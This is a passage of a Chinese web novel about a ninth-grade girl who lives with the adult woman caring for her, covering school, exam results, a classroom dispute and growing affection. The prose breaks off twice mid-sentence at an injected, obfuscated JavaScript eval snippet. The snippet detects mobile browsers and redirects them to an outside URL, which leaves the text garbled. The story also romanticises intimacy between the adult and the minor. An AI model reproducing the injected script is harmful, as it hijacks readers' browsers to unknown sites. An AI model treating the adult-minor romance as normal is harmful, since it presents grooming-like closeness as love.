余杭清心里那点儿嫉妒几乎到了阴暗的点,每每看到喻衍对着别人笑,站得近些跟别人说话,稍亲密一点,就很只能恨恨的咬着牙,攥着拳头,恨不得上去揍那人几拳。 可是面上她只是柔和的笑,认认真真地对着她的承诺说,“好。” “你可不要食言。” 那种嫉妒都快把她淹没了。 她又怎么敢放任自己去想,可能有一个男人,会在余生都有资格堂而皇之的站在喻衍身边? 还好已经到了要上学的时间,她站起身来,拎着给喻衍剥好的栗子,牵着喻衍的手,走到门前,镜片的材质还算不错,到门口遇了冷空气,上面的雾就很快消掉了。 她还牵着喻衍的手,余杭清小心翼翼的瞅着脚下,“姐姐,小心台阶。” 余杭清只好看着喻衍恢复了从前,那样从容不迫的样子,牵着自己的手,快步走到了车前。“赶紧走,上学别迟到了。” 白色的小轿车线条流畅。喻衍手上的按钮按一下,就灵敏地发出嗡嗡声,喻衍行云流水般从驾驶室里掏出一双平底鞋换上,然后坐了进去。洋洋自得的跟小孩说“看到没?这就叫安全驾驶习惯,开车不能穿高跟鞋,这你就不知道了吧?” 然而,喻衍考驾照实在是一段极其惨痛的经历,还好她的证件跟了过来,系统里查得到,只用交个工本费就可以,要是真考再考一遍,那才真是难以言喻的苦涩感。 余杭清第一次看到喻衍当着自己的面换鞋,平素都是上了车,一脚蹬进平底鞋里面。 等下车,又看着她穿着高跟鞋蹬蹬蹬的跑过来。言笑晏晏。一时间有些新奇的看着她脚下的平底鞋,“这东西一直放在驾驶座吗?我怎么从来没看见。” 喻衍揉揉她的头,从侧后方替她系上安全带,朝着她笑,“我放的隐蔽,你自然看不见。” 看见什么呢?看见喻衍白皙的小腿,伶仃的脚腕,看到她滑腻的脚,还是看见那双平平无奇的黑鞋? 余杭清不由得在心里骂自己龌龊,目光却始终忍不住黏连,在心里暗暗反驳喻衍的话。 谁说我没看见? 喻衍发动车子,打开暖气,然后两个人同时一阵眩晕,又悻悻关上,打开窗,任由冷空气侵袭,浸润整个车厢。喻衍回头看了余杭清一眼,果不其然看到她趴在窗前,大口大口呼着气。“我真是,不该开暖气……” 其实这种气还可以防止前挡风玻璃起雾,只不过喻衍对这东西不大熟练,自己开车也少,所以手忙脚乱的,一会儿内循环,一会儿外循环,可不就热气扑脸? 那种皮料的的味道被热气一熏,就弄得人有些难过的想吐,余杭清儿眼底泪意涟涟,“姐姐,我们不开暖气好不好?我胃不舒服的……” 这她倒没撒谎,两个人刚刚吃了甜的红薯,栗子。甚至一人还喝了半碗八宝粥,全是甜的,晕了车,反胃就更酸。 喻衍一路上把车开得很很慢,稳稳当当,等到了学校门口,又毫不犹豫的调转方向盘到了后头商店。 私立学校开在近郊的地方,商店也就不像城里的二十四小时便利店更偏向于乡村那样的小卖部,喻衍自顾自的买了一箱奶,挑了一爪子香蕉并几个苹果,一块儿付了账出来。 她拎着箱奶,另一只手拎着水果,两样都不轻。尽管穿着平底鞋,怎么也摇曳生姿的,像一步步走到了余杭清的心里来。 水果和奶被喻衍毫不在意似的扔在了后座,余杭清看向她潋滟的眸子,轻声道谢。“谢谢姐姐。” 喻衍听不惯她这样道谢。就像余杭清,问她妈借了药钱,却死死咬着牙不告诉喻衍一星一厘,她以为她们两人是一体的,哪里用得着这样生分的道谢? 可是余杭清说了,她就舍不得冷场,舍不得,她流露出惶恐不安的眼。只能随意的点头称是,“嗯。不谢。” 余杭清不知道喻衍为什么阴晴不定的生气,心里还存着那点儿愉悦。“我最喜欢姐姐。” 到了快临近校门口的地方,喻衍就停了车,留了五十米的距离,步行送余杭清进去,倒也不是喻衍有多么勤快。只是前头被来送小孩的家长的车挤得水泄不通,她实在开不进去。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819985|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们走过去吧,前面开不进去,就算开进去,待会出来也是个问题。”喻衍毫不脸红的说出这个事实,伸手就拎了后座那箱较重的奶去。 脚底下不停,喻衍轻松蹬掉脚上那两只鞋,就放进船一样的高跟里,在下了车就是气场全开。 余杭清抱着手里的香蕉和苹果,另一只手拎着毯子,亦步亦趋地跟在她后面。有些高兴的看着对方熟稔的走向自己的学校,像小傻子似的笑得高兴,“姐姐,你怎么这么熟悉啊,一看就经常来……” 喻衍用空出来那只手敲了她的额侧,“傻了是吗?我每周三都来看你,这是你上这个学校第二学期。我在不认识你们学校在哪里?” “你把我当傻子整呢。” “傻缺。”余杭清被骂了,竟然也不觉得失望,含糊的笑着。吐吐舌头,娇俏倩丽。 她总是来看她。 不论手头有多重要的工作,总是能毫不犹豫的放下,在她最需要的时候赶到这个地方,带着她要的东西,很快就来看她。 喻衍觉得只吃半碗八宝粥实在显得过分寡淡,可她又吃了红薯和栗子不算少,撑了大概也不舒服,只好有些不放心的回过头看余杭清,“你还吃什么吗?我再给你买一点。” 好像预测到喻衍不放心似的。 学校门口还真有小推车在卖着炸鸡柳和臭豆腐,以及某种奇怪调味的小串。 喻衍自顾自的走上前去,掏出十块钱递给正忙碌的摊主,“帮忙炸十块钱的鸡柳,尽快,谢谢。” 小吃摊的油味儿很重,专门卖炸物的摊子都是这样,摊主很快麻利地称了鸡柳倒进油锅里。没过这几分钟。金黄的鸡柳就翻滚着炸熟了,被她捞起来撒上孜然粉递过来。 喻衍泰然自若的接过,然后毫不犹豫的扔到余杭清。一只手拎着的水果袋子里面。好在那牛皮油纸袋外头又套了一层塑料袋儿。在才在她粗放的动作里没倒出来。“拿去吃,你们学校晚点得在八点二十了。这会才五点多。真怕给你饿到。” 饥肠辘辘的胃,有人刻意喂饱,吃了好些,还怕她饿到。 余杭清忍不住,眼眶一热,想哭,又被喻衍砰的一声,放在她面前的一箱奶震慑住,愣了一瞬,“这个记得带到学校,我进不去就不送你了。” 喻衍两只手都腾出来。干脆就摸摸余杭清的头,再一次逗小狗似的捏她圆润的鼻尖,“好了,宝宝不哭,真想我了,我周三来看你呢。” 怎么会有人这么好? 如果在两天之后可以见到这个人的面的话,那么连见不到她的这两天,只要在渴盼都显得幸福。 如果这样算的话,或许刚巧两天,今天见了面,那么明天就会想昨天见了面,后天就会想,明天又可以见面。 理所应当的,如同星河流转。 她看到喻衍转过头去,往外走了两步,又实在忍不住偏过头来留下一句话,“要有事儿或者想我了,就不要等明天!” “打给我,然后我立马出现。” 21. 第21章她爱她 后面初三的时候,在学校本来时间就蛮紧,晚上只学到十点钟,对余杭清来说简直是…… 太轻松了。 要强的余杭清不甘心止步于重点高中线,总想着往上再拼一拼,搏一搏于是,在一个普通的不能再普通的傍晚,她叫住了拿着辅导书匆匆往办公室走的班主任,跟老师说,“我想走读。” 私立学校看重成绩,找完班主任找校长就行,那个寄宿制学校对学习还算不错的学生实在算得上宽容,却卡在了家里这一关。 所以余杭清开始在学校走走读的申请,班主任很快拿来了申请表让余杭清填,帮余杭清呈交到年级组去。 年级组的主任很负责任,很快就签了字,又送到校长办公室,等回到余杭清手上时,就已经盖了几个鲜艳的红章,要余杭清拿回去给家长看。 是的,余杭清用精湛的笔力模仿了家长的字迹,就是从小学开始,各种告家长通知书余杭清都能签,甚至于余杭清爸妈不在的时候,妹妹的都是余杭清签的。 先斩后奏,余杭清直接就拿去给喻衍看了,她记得自己当时惴惴不安的看着喻衍的侧脸,话却说得极其硬气,像是仗着她心软。 “我办了走读,现在宿舍已经没有我的位置了,如果你不接受我的话,我就回去跟妹妹挤。”余杭清装作浑不在意的样子,可还是悄悄红了眼眶。 喻衍把她搂进怀里,用头和侧脸贴着她的侧颈,好像感动哭了似的,抱着她说,“不用回去挤的宝贝,没关系。” 余杭清知道喻衍舍不得,所以她肆无忌惮的跟喻衍讲,从一开始就已经做好留下来的准备了。 然后喻衍真的把余杭清留下来了。 那双琥珀色的眼睛里没有流露出失望,像是某种兴奋,欣慰,欢喜。喻衍说,“挺好的,我去跟你爸妈说,你跟我住,也能稍微舒坦些。” “要不要一起出去再添置一些床上用品什么的,你房间的床单余杭清换了新的,不知道是不是你喜欢的颜色。” 是浅蓝色的耶,怎么会有人不喜欢这种像天空一样宁静又遥远的颜色呢?还带着一股淡淡的忧郁。冷清又安谧。 “很喜欢。”余杭清的目光不偏不倚的落进那双带着欣慰,开心的眸子,有些高兴。 余杭清喜欢这个为她打理一切的人。 余杭清真恨啊,太过分了,青春期最想要的白马公主是个女人。 可是更让人难过的的是,喻衍是个直女,根本就不喜欢女人,更别提喜欢她。 余杭清甚至不知道喻衍是因为什么样的怜悯而选择留住余杭清。 一个不敢问,一个自然也没办法回答。 余杭清不能怪喻衍。 喻衍已经做的最好,最仁至义尽了。 余杭清总是在给喻衍添麻烦,甚至于余杭清想要走读,也只是给喻衍附加了另一层的负担。 喻衍想吃的时候随时可以去吃,喻衍的胃病也不是说天天去犯。喻衍总是大早上起来给余杭清做早点,晚上没事还给余杭清煮点夜宵。 在她晚上好不容易做完题累得要命的时候,任由余杭清挂在她身上,帮她囫囵的洗脸,刷牙,甚至是写一些没意义的抄写作业。 喻衍怎么会没事干呢。 余杭清又给喻衍添麻烦了。 余杭清知道,妈妈怕余杭清吵到妹妹她,所以不想让余杭清住在县上。 她到现在还依稀记得妈妈皱着眉头,好像十分担忧似的吐出那句话,“你妹妹们睡得晚,晚上从辅导班回来会吵到你……” 怎么会吵到我呢?余杭清有点丈二和尚摸不着头脑,自己那边下了第四节晚自习是十点二十分。而妹妹们的晚辅导是九点半结束。 妈妈是不知道妹妹的晚辅导什么时候结束,还是不知道我最后一节自习什么时候下呢? 结果不得而知。 她只是愈发沉默了,几乎沉寂下去,不再跟母亲提这些东西,也不在看到她们为难的神色。 那就得住在老家,如果说六点钟老师查人的话,余杭清可能五点出头就得起床,余杭清当时是六点一十查人,所以余杭清是五点四十起床。 余杭清爸愿意接余杭清就不错了,当时父亲工作也忙,已经是很好的结果了。 可她还是隐隐期盼着,期盼着那个喻衍说的答应。 喻衍风尘仆仆的穿着一身湛蓝色的职业套装,带着鸢尾花胸针敲响了她们家的门,坐在了她们家深蓝色的沙发上跟余杭清的父母促膝长谈。 余杭清不知道喻衍跟喻衍达成了什么协定,好像是收了一点小钱,然后余杭清在喻衍那里住一年,五千块钱。平均下来一天十三块多。 后来余杭清就不再是偶尔做客的客人了,自从这次走读起,余杭清彻底住进了那间梦寐以求的房子,特别特别明亮,巨大一扇窗,早上那个太阳照进来能把人照醒。 喻衍于是有了个理由成天带着余杭清,晚上陪她学到凌晨一点。认认真真,仔仔细细的讲清楚每一道题。 余杭清始终记得她那个蓝白相间的台灯,三档变色,喻衍总调出那档。说黄不黄,说白不白的颜色,提前充好电,摸一下就亮。 在那个台灯底下,她跟她讲数学的全等,英语的过去时态,跟她说化学的溶液颜色,教她物理的电路分析,把能讲的几乎倾囊相授…… 早上任由余杭清挂在她身上,树袋熊一样,让张嘴的时候就张开嘴,喻衍帮她刷牙,让吐泡沫就乖乖吐泡沫。等用热毛巾把脸连带着下巴上的沫子擦个干净,余杭清也就彻底清醒。 虽然早上上课很早,而且喻衍喜欢骑小电驴送余杭清,因为不堵车,两个人能多睡一会儿。 余杭清根本睡不到太阳照醒余杭清屁股的时候。 但是余杭清还是高兴,余杭清喜欢很明亮的地方,玩手机还得把灯开着呢,有时候害怕,半夜偷偷看手机的时候还会开着手电筒,把自己盖在被窝里面,然后有一小片是亮的。 被抓到的时候,她还在看男同小说,完完全全的手机在底下照出脸上一片光亮,从下巴往上投射,吓喻衍一跳,喻衍拧着眉瞧向她眼睛里没有怒火倒有种黏腻的担忧“你怎么在被子里看这个?太黑了,对眼睛不好。” 然后被喻衍抓到就给余杭清配了小夜灯,一个很亮很亮的小熊形状的台灯,小熊的整个脑袋会亮起来,晚上其实有点惊悚,当然余杭清惊悚的点就是莫名其妙。 她记得那盏灯亮起来的时候,有点儿像纸壳子的颜色,她跟喻衍说,“我不要,我不喜欢这个。” 于是第二天就换成那个粉白相间的小兔子。那只小熊被留在了喻衍的书桌上,笨头笨脑的,每次瞧过去,竟也觉得憨态可掬。像是把余杭清的印记留在了她工作的地方。 但是余杭清很开心,喻衍好像总是纵容余杭清,喻衍不怪余杭清晚上在这么着急的情况下,还搁那偷看男同小说,只是怕余杭清看伤了眼睛。 好奇怪哦,余杭清看完言情小说,跑去看男同小说了,也不知道为什么不看女同啊,反正到后面也不敢看,害怕的不行,莫名其妙,莫名其妙。 像近乡情怯似的。 好像瞧了,就真的有那方面的心思,盼着跟姐姐在一起。 所以总是躲避。 不过莫名其妙跑去看男同小说,这个真不怪余杭清,快穿文大家都叫一个名字,全都是快穿之什么什么,那作者写的太好了,余杭清刚开始也不知道,都快看完了,男同就男同吧,那咋的,这,后来为了找同类型文,余杭清知道余杭清看的是啥。 喻衍也不拦余杭清,甚至有时候兴致勃勃的给余杭清推来几本喻衍曾经看过的。“你看这个,这个作者文笔就特别好,完全是在白描,但是你看过去的时候,几个小细节就能牢牢的把你的情感引申出来,情绪的拉扯做得特别好。” 真是惯着。 每天早上起来会煎一个鸡蛋,然后两片面包配一个纯牛奶。强行塞到余杭清手上了,“赶紧快吃,待会儿风一吹就全部凉完了。”喻衍总是这样讲。 小电驴真的蛮冷的,夏天有一种逆风往前的孤勇,到了冬天就只剩下冻,后头喻衍还是开着喻衍的小电车送余杭清,主要是电车容易堵,不过喻衍说,“算了,我们还是开车吧,总在路上吃,风比面包吃的都多。” “大不了早起一会儿,还能回去补觉” 喻衍的网店已经转入正常进程了,有专人发货,仓库也雇了人写作有每天固定的三个小时,有时会开直播跟粉丝做一些互动什么的,实在算得上清闲,就把一切的时间都倾注在了余杭清身上。 余杭清还以为喻衍会开什么新的领域呢,知识付费之类的。 前一段时间听到喻衍念念有词,可是喻衍没做,喻衍说“你忙着中考,哪有闲心做那些东西,把现在能做好的维持住就不错了,收入很稳定,等到中考完就带你出去旅游。” “我有一点想去北欧,在下着暴雪的小屋里,跟你一起窝在沙发上,喝那种带着桦树糖浆的咖啡,听着壁炉里噼里啪啦的响,然后看一本书,或者用投影仪放一个文艺片电影,昏昏欲睡的在你怀里晕过去。” 这个喻衍怎么这么好? 连她的爸爸妈妈大概都做不到。 喻衍给她描述了一个极其具体的画面,甚至是连她自己都没注意到,她的想象里,她窝在余杭清怀里。 这是一种潜移默化的被照顾惯了的骄纵。 让余杭清觉得舒心高兴,像是得了天大的阶段性奖励。 余杭清真的蛮喜欢坐喻衍的小电驴的,可以在后面抱搂着喻衍的腰,真的是很自律啊,感觉腰围跟余杭清头围快差不多了。 她总是作怪似的揉搓,然后冒出来一句,“也不怕一天饿死,成天不按时吃饭。讨厌你。” 喻衍就会顺手把头盔下面没压住被风吹得凌乱的低马尾顺到前面去,风吹过来一句,“又讨厌我啦?” 说余杭清每次灌一肚子风,可是喻衍给余杭清做完饭之后自己也不老实吃,每次都是随便啃一些奇奇怪怪的面包,饼干,也不知道怎么吃得下去。 偏偏余杭清又爱极了喻衍这副舍己为人的样子,而喻衍这样着急的,出去骑车是为了送余杭清上学。她说不出什么反驳的句子。只好胡乱的答复过去,“哪有,喜欢你,喜欢你。” 余杭清开始有些愧疚于自己花时间看这些可能对学习毫无帮助的闲书,而让喻衍浪费时间送余杭清上下学。 可是喻衍每天晚上会跟余杭清讲一个小时的数学,会给余杭清讲那些奇奇怪怪的,全等,平行,相等,垂直,还有其实初中数学记不清楚了,总之当时学的很差,特别是几何证明题。 后面也考了一百零几分吧,满分一百二考一百零几分,其实在余杭清当时也算得上有一点优秀,她拿着一点小成就沾沾自喜的问女人,“好像效果不太显著,也值得吗?” 喻衍把耳后的头发拨了拨,朝着她笑,“值得,说只要有一点提分就值得,或者说,知识面稍微再补充完整一点,也都值得。” “再讲的宽泛一点,也可以是你的一种经历。” “只要时间花费在你成长上就是值得的。” “至少你把这个知识点搞懂了,我们以后做题的时候比平常更笃定,心理上的压力也小一点嘛。”女人莞尔一笑,带着十足的安慰和鼓励,让余杭清一度以为他没那么在意。 可许多年以后,余杭清还记得出中考成绩成绩那天,她们两个坐在沙发上,腿贴着腿,低着头,紧张的等着屏幕上的时间变成十二点。 守在手机前,一过,就立马打开查询成绩的网址,一点点查过去。 可是仅仅只是十二点零一,网址一直在转圈圈啊,余杭青后知后觉的发现,网址崩了。 但是久违的,她收到了初中老师打来的电话。老师话说的很客气,带着那种宽厚的喜气,“挺好的五百九十七,能稳上县中了。” 喻衍的眼眶却霎时间红了,眼泪大颗大颗的砸到沙发上去,她重重的呼出一口气,虽然也没被逼到绝路上,可是这道坎她过不去。 余杭清感觉自己的头被人摸了一下,然后听到对方有些沙哑哽咽的声音,“我……我出去一下。” 喻衍打开卧室门,平静的走了进去,眼泪从脸颊划上去,一片冰凉,完完全全蹭在手上,被她随意抹在手背上。 而余杭清能看到的只是被有些刻意用力摔上的门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在喜欢的人面前露出最无能的一幕,实在是很伤人,自尊心,不过好在对方先摔门进去,自己躲在这个无人问津的藩篱,尽管哭得可怜也没关系。 她讨厌别人偶尔施与的怜悯。 靠在墙上感受着冰凉的墙壁,她不知道一墙之隔,有一个人同样靠在墙上,脸上没什么表情,泪水却逐渐淹没了,眼镜起了好大一片雾。 “贼老天,你敢算计……” “你怎么敢这样对她呢?她之前那么努力啊……” “怪我的,怪我废物,我无能为力……” “我之前还骂她学的不认真,我还说那么难听的话,结果到现在成绩好像没一点变化似的,我怎么可以这样,她得该有多伤心……” “余杭清,对不起……” 喻衍哭的很平静,就是纯纯眼泪往下流,说些慷慨激昂的骂天的话,也有种认命的平静。 她总是内耗,总是怕打扰到别人,所以连流泪都显得安静。 她自然而然的坐在冰凉的地板上,然后靠着墙壁睡了过去,反正她总是这样,实在累的不行就躺在地上,既然已经累得不行了,怎么样都睡得过去。 可是余杭清推开了她的门,连抱带拖的把它放到床上去。 她记得喻衍脸上未干的泪痕,记得被随手放在地上的起雾的眼镜,记得她哭的张红的脸,也记得你湿了手帕替她把泪痕擦干净。“把眼睛闭上,我给你擦擦干净。” 对方琥珀色的眸子在紧闭,窗帘的漆黑屋内显得有些难以言喻的黑尘,就那么空落落的,朝着前方,也不知是何时醒过来,刚才有没有睡过去?她只是乖乖的点头像,是一句没什么东西操控的行尸走肉的傀儡。“好。” 她给她倒了一杯盐水,“喝点水,补充一下盐分吧,我也没想到的,真的对不起。” 喻衍淡淡的,像是是饮尽了一大杯泪。“没关系,不怪你的,该是我向你说对不起。” 对不起什么呢?喻衍没说出口,对不起,叫你做了无谓的努力,对不起,跟你说了刻薄的话,对不起,在你最难过最需要支撑的时候,我懦弱的一个人藏进屋里。 余杭清替她擦干净,亲吻她有些红肿胀起的眼睑,然后替她盖上被子,悄悄退了出去。 她甚至没去厕所洗把脸,就自然而然的躺到床上,也不换衣服,扯个背角盖着肚子,蹬掉鞋就睡过去了。 很显然,她也不怎么爱惜自己。 两个人终于有一些共通性,其实这种共同性一直都存在,只是表现的隐晦些。 余杭清仍做着美梦,对方会像往日那样来照料自己,可是这一晚喻衍竟睡得格外黑沉,到了第二天早上猜穿着前一日的皱皱巴巴的衣裳,做到餐桌前吃喻衍买回来的油条豆浆。 她装作毫不在意的抬头,“今天怎么起的这么早,周末我们不都是一块睡到十一点多,然后出去找事剩啥吃啥吗……” 喻衍这一晚当然也没睡好,眼睛里全是红血丝,眼下青黑明显,头发胡乱的炸起来,她竟然以这副尊容出去买了早餐回来。“你管我呢,想吃油条行不行?你上学的时候忙着送你,没时间吃,放了假咱们俩又总是一股脑睡过去,难得给你带一回油条,你还不珍惜。” 日子一天天过去。 喻衍从不对她施以同情,也不像一些学习程度差不多的同学好似对别人十分友好的宽慰。 她只是跟她一同站在永恒的地狱里,不笑,不穿艳丽的衣裳,一个星期。 她好像真的知道作为一个平庸的人是一个什么样的感受? 她是从时空裂缝里卷进来的外乡人,却又跟此间有着十分紧密的联系,她是确定的未来,是一个无论走哪条路都将到达的彼岸。 她为了余杭清而活着,为了她能够吃饱穿暖,为了她能过得更好些,为了她哪怕取得一样的成绩,路途中也不要那么辛苦,承受那么那么多的难以言喻。 可是后来她好像还是经常会为了辅导作业发脾气,为了她这试卷上不应该出现的差错而大发雷霆,总是忍不住骂余杭清。 余杭清也忍不住苛责自己,不过挨了骂之后,这样的严苛就显得少一些,这样也算难得的放松。 在被指责的时候感受到爱实在是一种畸形,可是父亲母亲不在意的话,一个小孩子又有什么人在意呢?大概还有老师,不过老师带的学生好多,自己这种班上十名开外的哪有几个老师重点关心?只有她自己。 可是现在多一个人爱她呀,喻衍这样生气盎然的爱,这样真真切切的盼着她好,这太难得了。 面对劈头盖脸砸下来的责难,她的第一反应竟然是她爱她。 多幸福啊。 22. 第22章选你也是顾全大局 又是一个大礼拜,余杭清从家里出发,被母亲直接送到公交站,就顺势坐公交下去。 手中拿着演讲的稿子翻来覆去的低声默念,余杭清眼睛里尽是期待憧憬的光亮,她提前写了稿子,跟老师报了名,会在班级表演中有一席之地。 晚上回去还可以再稍稍练习,让喻衍帮她讲解一下,稍微调整一下语气语段等等。肯定看起来就更加牛*。 喻衍的小说最近出了广播剧,有认真学过一些关于报幕的知识,大概会有相通之处,她念给她听,余杭清的目光就落在她亮晶晶的琥珀色眼睛。 她胡思乱想着,坐在公交车的最后一排,看见夕阳西斜,人们麻木着,神态各异着。坐着通往不同终点的列车。 第一节自习依然忙着补作业。真是个失败的人。只要一刻不有人盯着,就要撒一课的啦,甚至有空去打印文稿,偏偏没心思写两道数学题。 如果有一天有人爱上她,看了太久电子书浮浮肿的眼。爱上她惫懒的扔在一旁的作业…… 她幻想着,但没有等来一个她各种不堪的人,反倒等来了一个不速之客。 一个女同学不知道从哪里听来了风声,走到余杭清面前,敲了敲余杭清面前原木色的课桌,“咱们班那个红歌大赛中间穿插的朗诵,我想跟你公平竞争。你可以把你的稿子给我看一下吗?” 余杭清一瞬间不知道该说什么,但是朗诵好像确实。要更注重演讲水平,公平竞争的话,共享稿子好像也没什么问题。琥珀色的眼睛有点暗淡下去了。她很重视这次机会。甚至写了另一位男伴的稿子。“一块给我吧,我也找好新的男伴了。” 那个高高瘦瘦的男生,从始至终就站在那里,任由女同学站在前面出头,嘴角挂着笑意,十分恶劣,让人厌弃。 班主任安慰她,胖胖的大手拍她的肩膀,“没事的,我给你指导了,咱们练了这么久,肯定不会输给她们。” 余杭清不知道怎么处理,她只是无措的装作十分顾全大局的对班主任说的,“没关系,可以公平竞争的,以班级利益为主。” 明明心里在滴血,却还是强颜欢笑。那份稿子被她放在那里,让那位女同学的男伴晚上回去复印。 她没有同意,但是她放在桌子上就是一种默许. 第二天在班上展示,果不其然她会赢,其实没什么悬念,因为稿子是她写的。一字一句敲出来的,她比所有人对这个稿子都要熟悉,连她的搭档都只能算得上是躺赢。 那个女同学不再说不公平了,却还是斜着眼看她。 可是余杭清觉得不公平,老师宣布这个消息是在上周一的早操前的。眼保健操时期,是那个女同学趴在桌子上睡觉才没有听见。 为什么要怪在余杭清身上,又为什么余杭清要要在辛辛苦苦排练了这么久的情况下,再去接受这种不确定性,再跟她进行所谓的公平竞争? 她明明在竞争的一开始就没有报名。 结果在余杭清准备了一周之后,那场红歌大赛快要开始的三天之前,说出了她的意愿。偏偏又直愣愣的。像没耍手段似的,站在余杭清面前,让余杭清不好意思,手足无措的不知道该怎么去办。 她讨厌死那个女同学了。 当文体委员就了不起啊,她甚至都没安排这件事情,也没有认真听,凭什么就把别人的劳动成果据为己有,拿着余杭清的稿子跟余杭清说什么公平竞争? 可是当时的余杭清想不到这些,只是在晚上回家之后,躺在床上翻来覆去的睡不着,发了一条乏陈可闻的空间,“烦死了。我讨厌她。” 这样无礼取闹的,没有前头也没有结尾的空间,像是随口一句抱怨,可面对现在期待了那么久的余杭清来讲,也算得上一座大山。 可是这条深夜的没什么寓意的,奇怪空间得到了回应,有一个红色的小点点突然出现。不知道是刻意还是怎么样,喻衍竟然发了一条语音。 “如果不是我看到你的空间,意识到你这里出了事情,你什么时候才能意识到有事要找我?” “怎么回事?谁又让你受了委屈?”喻衍婉转动听的声音像是一团火,一下子就点燃了余杭清心中熊熊燃烧的委屈。 她倒豆子似的滔滔不绝的讲,一边讲一边抽抽噎噎的哭,“姐姐她上周老师讲的时候,她根本就没有跟老师报名,我好不容易准备了一个星期,她现在就是说要跟我公平竞争……” 喻衍的声音透着笃定,安慰人的时候有一种四平八稳的妥当。“那你赢了吗?你在家那么努力。” 余杭清抽噎着。有些骄傲似的,“当然赢了,那种人凭什么跟我比?” 喻衍顺着她的话往下说,她当然知道余杭清的做法有原因,可她需要问出一句引导着她说出来心里才能舒适些,“那为什么不开心?” 余杭清愤愤着。讲话也像是冒着火,“她这种人真讨厌,就像是癞蛤蟆爬在脚面上,不咬人膈应人吗?” “我哪。凭什么要我为她的公平付出啊,那我准备稿子的时候她在干什么?现在来这儿就直接拿着别人的成果就开始了,然后又在那四处传播,说什么,啊我用的我一样的稿子,我提前开始准备了,所以对她不公平。” “我觉得其实一开始我都不应该把那个稿子放在桌面上,让她们能看见,真的是很讨厌吗。” “碰见这种人就觉得好委屈。” 隔着语音通话,流量不太稳定,就有点刺啦刺啦的电流声,喻衍的声音带着焦急,于是能听到旁边房间汲拉着鞋的声音。 下一刻门打开,天光大亮,喻衍凌乱着头发,带着松散的发带穿着嗯睡衣,挤着拖鞋就走到了她的房间,沉默着将她拥在怀里,轻轻拭去她眼前的泪,“不哭的宝贝,她真讨厌,我给你们班主任打电话讲清楚。” “就是你那个同学做的不对,不可以这样去侵占别人的劳动成果。” “她既然一开始没有提前跟老师汇报,这边也确认好是你,她那她有什么资格去申请或者争取。从一开始就是在破坏规则。站在她的角度,你可以讲她有灵活性,是在为她自己申请。那把你和你的另一位同伴放 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“那你需要跟这个女同学或者跟老师讲,要么跟女同学讲你反击成功,让自己心里舒服一点。要么你就跟你这位老师讲,跟老师讲完之后,有一个权威的人能替你处理。那你也能好一点。” “那首先我现在也二十几岁了,我肯定不可能说到你们学校去跟女同学施压,这对我来说实在是太没品了。” ”那我就只能想方设法给你们老师发一个消息,然后稍微组织一下措辞,然后间接的影响到你这个同学,那也是希望她能给你道个歉,让你稍微舒服一点点而已。”喻衍一副理所应当的样子,四平八稳地靠坐在床头。任由余杭清靠在她怀里,把脑袋搭在她的颈窝。 余杭清抬着头看她,忍不住去问,“你不会觉得我有点太斤斤计较了吗?事情其实差不多,我已经解决了,我能在这种情况下打败她本来在她更擅长的演讲领域,其实还让对方挺受打击的。” “这已经算是出气了吧,而且你现在找老师真的很麻烦,我好像又变成你的累赘了。” 可是喻衍亲吻她嫣红的眼角,不偏不倚的望着她的眼睛。两双琥珀色的眼睛。竟同时湿润起来,“可是你的感觉也很重要,她让你觉得恶心,也是让你受气。” “我说是家长,其实也就占个年纪大,你可以把我当做朋友来对待,或者其她什么的都行,我只能告诉你一个点在于我一定站在你这边” “我只是想给你出气。” “才不管什么南北东西。” 余杭清躺下来,躺在喻衍的胳膊上被她整一个人搂在臂腕里又像照顾小孩似的,掖好被角,她看见她矮下身亲吻她的额头,眼睛里满是温柔怜惜,“宝宝,我不觉得你是麻烦或者累赘,比起麻烦,我更害怕你在我看不到的地方掉眼泪。” 懂事的小孩有了认真看待她困境家长。 她的需求和感情总是被漠视,以至于被看见这件事让她有种近乎被爱的欢欣。 原来维护自己的权益也可以是一种顾全大局。 原来余杭清这个人也可以被偏爱怜惜。 23. 第23章自私的爱 爱上一个人是多面的,连带着她的吊儿郎当和妥帖仔细,这样截然不同的特点出现在同一个人身上。就像罂粟一样,引人细究。 平日里吊儿郎当的,像个小孩子,就坐在那儿一动不动,两个人面对面,毫不顾忌的坐在余杭清腿上,弯下腰,把手臂挂在余杭清的脖颈上,张开嘴,正面的朝着余杭清笑。“你喂我吃好不好?累死了,今天也不想码字。” 余杭清就尽量绷直身体,让她的手臂有个落点,一只手端着碗,一只手拿着她定制的粉白色陶瓷勺喂到她的嘴里。一边嘴里絮叨着说。“你胃本来就不好,又不好好吃饭。” 一边日复一日的在每一个只放六小时的星期天,乐此不疲的尝试对方喜欢的吃食。不厌其烦的,端了饭给忙的忘记吃饭的喻衍喂到嘴里去。 大多数时候她们像两块形状迥异的拼图。很容易就拼到一起。年纪小的那个反倒像是姐姐。 年纪大的那个总在耍赖似的。声音总是黏黏糊糊的,像是裹着蜜,又像是情人间的呢喃。总是说。“宝宝我不想,你帮我嘛。” 可是只有余杭清知道她不是,因为她总能在她需要的时候给予支撑,小孩子做不到的,只有喻衍可以。 余杭清喜欢暖和的棉花被子,靠上去暖烘烘的,会微微下陷,像是喻衍抱着余杭清。 虽然喻衍体温偏凉,抱着余杭清也不暖和,但是余杭清暖和就行。 余杭清可以抱着喻衍。可以在她撒娇的时候帮她做任何事。 让喻衍暖和一点点。让温热的皮肉贴着皮肉,让她自然而然的躺在她怀里,舒舒服服地枕着她的大腿玩手机。 余杭清开始试探性的亲吻她的脸颊,额头。 而喻衍很高兴的回吻余杭清,她红润的嘴唇贴上她的侧脸,柔软的像花瓣,“我也喜欢你。” “你肯喜欢我的话。” “这是一种天大的礼遇。” 好像这是一种天大的好处似的。好处。喻衍甚至说这是一种荣幸,这比好处要更夸张一些。 